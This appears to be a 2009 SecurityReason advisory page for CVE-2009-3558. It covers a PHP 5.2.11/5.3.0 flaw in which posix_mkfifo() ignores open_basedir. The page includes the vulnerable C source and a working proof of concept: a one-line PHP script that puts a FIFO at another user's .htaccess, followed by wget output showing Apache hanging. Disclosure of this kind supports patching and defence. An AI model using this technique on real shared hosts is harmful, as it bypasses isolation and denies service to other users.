|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | PHP 5.3.0 5.2.11 posix_mkfifo() open_basedir bypass
|
SecurityAlert : 6600
CVE : CVE-2009-3558
CWE : CWE-264
SecurityRisk : High (About)
Remote Exploit : No
Local Exploit : Yes
Victim interaction required : No
Exploit Available : Yes
Credit : Grzegorz Stachowiak
Published : 30.09.2009
Updated : 27.11.2009
Affected Software : | php:php:1.0
php:php:2.0
php:php:2.0b10
php:php:3.0
php:php:3.0.1
php:php:3.0.10
php:php:3.0.11
php:php:3.0.12
php:php:3.0.13
php:php:3.0.14
php:php:3.0.15
php:php:3.0.16
php:php:3.0.17
php:php:3.0.18
php:php:3.0.2
php:php:3.0.3
php:php:3.0.4
php:php:3.0.5
php:php:3.0.6
php:3.0.7
php:php:3.0.8
php:php:3.0.9
php:php:4.0
php:php:4.0.0
php:php:4.0.1
php:php:4.0.2
php:php:4.0.3
php:php:4.0.4
php:php:4.0.5
php:php:4.0.6
php:php:4.0.7
php:php:4.0:beta_4_patch1
php:php:4.0:beta1
php:php:4.0:beta2
php:php:4.0:beta3
php:php:4.0:beta4
php:php:4.1.0
php:php:4.1.1
php:php:4.1.2
php:php:4.1.3
php:php:4.2
php:php:4.2.0
php:php:4.2.1
php:php:4.2.2
php:php:4.2.3
php:php:4.2.4
php:php:4.3
php:php:4.3.0
php:php:4.3.1
php:php:4.3.10
php:php:4.3.11
php:php:4.3.2
php:php:4.3.7
php:php:4.4.2
php:php:4.4.7
php:php:5.0.0
php:php:5.0.0:beta4
php:php:5.0.3
php:php:5.1.1
php:php:5.2.1
php:php:5.2.5
php:php:5.2.6
php:php:5.3.0
php:php:5.2.10 and previous versions
php:php:4.4.8
php:php:4.4.9 |
 Advisory Content : [ PHP 5.2.11/5.3.0 (posix.c) open_basedir bypass ]
Author: Grzegorz Stachowiak
Date:
- - Dis.: 25.09.2009
- - Pub.: 29.09.2009
Risk: Low
Affected Software:
- - PHP 5.3.0
- - PHP 5.2.11 and prior
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.
http://lu2.php.net/manual/en/function.posix-mkfifo.php
- --- 1. PHP 5.2.11/5.3.0 (posix.c) open_basedir bypass ---
posix_mkfifo — Create a fifo special file (a named pipe)
posix_mkfifo() creates a special FIFO file which exists in the file system
and acts as a bidirectional communication endpoint for processes.
Function not check open_basedir value, so we can create any file in any
writable folder, if open_basedir is enabled. We can "freeze" Apache and
prevent access to any writable folder.
- ---ext/posix/posix.c---
PHP_FUNCTION(posix_mkfifo)
{
char *path;
int path_len;
long mode;
int result;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl", &path,
&path_len, &mode) == FAILURE) {
RETURN_FALSE;
}
if (PG(safe_mode) && (!php_checkuid(path, NULL, CHECKUID_ALLOW_ONLY_DIR)))
{ [1]
RETURN_FALSE;
}
result = mkfifo(path, mode);
if (result < 0) {
POSIX_G(last_error) = errno;
RETURN_FALSE;
}
RETURN_TRUE;
}
- ---ext/standard/file.c---
[1]. Function posix_mkfifo check only safe_mode value.
- ---example0 (5.2.11/5.3.0)---
x@x-desktop:/var/www/$ php -v
PHP 5.3.0 (cli) (built: Sep 22 2009 14:06:39)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies
|----------------------------------------------------------------|
x@x-desktop:/var/www$ php -r "echo ini_get('open_basedir').PHP_EOL;
/var/www:/tmp
x@x-desktop:/var/www$
|----------------------------------------------------------------|
x@x-desktop:/var/www$ cat fifo.php
<?
posix_mkfifo('/home/y/www/.htaccess',0777);
?>
|----------------------------------------------------------------|
x@x-desktop:/var/www$ wget http://localhost/config.txt
--17:39:31-- http://localhost:80/config.txt
=> `config.txt'
Connecting to localhost:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 25 [text/plain]
0K -> [100%]
(24.41 KB/s) - `config.txt' saved [25/25]
|----------------------------------------------------------------|
x@x-desktop:/var/www$ php fifo.php
x@x-desktop:/var/www$
|----------------------------------------------------------------|
x@x-desktop:/var/www$ wget http://localhost/config.txt
--17:39:43-- http://localhost:80/config.txt
=> `config.txt'
Connecting to localhost:80... connected!
HTTP request sent, awaiting response...
|----------------------------------------------------------------|
Apache try receive access to .htaccess file, but fifo special file not
allow a "normal" read, so we can't read files in this directory and all
subdirectories.
- --- 3. Contact ---
Author: Grzegorz Stachowiak
Email: stachowiak {a|t} analogicode.pl
References :
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/posix/posix.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/posix/posix.c?view=log
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|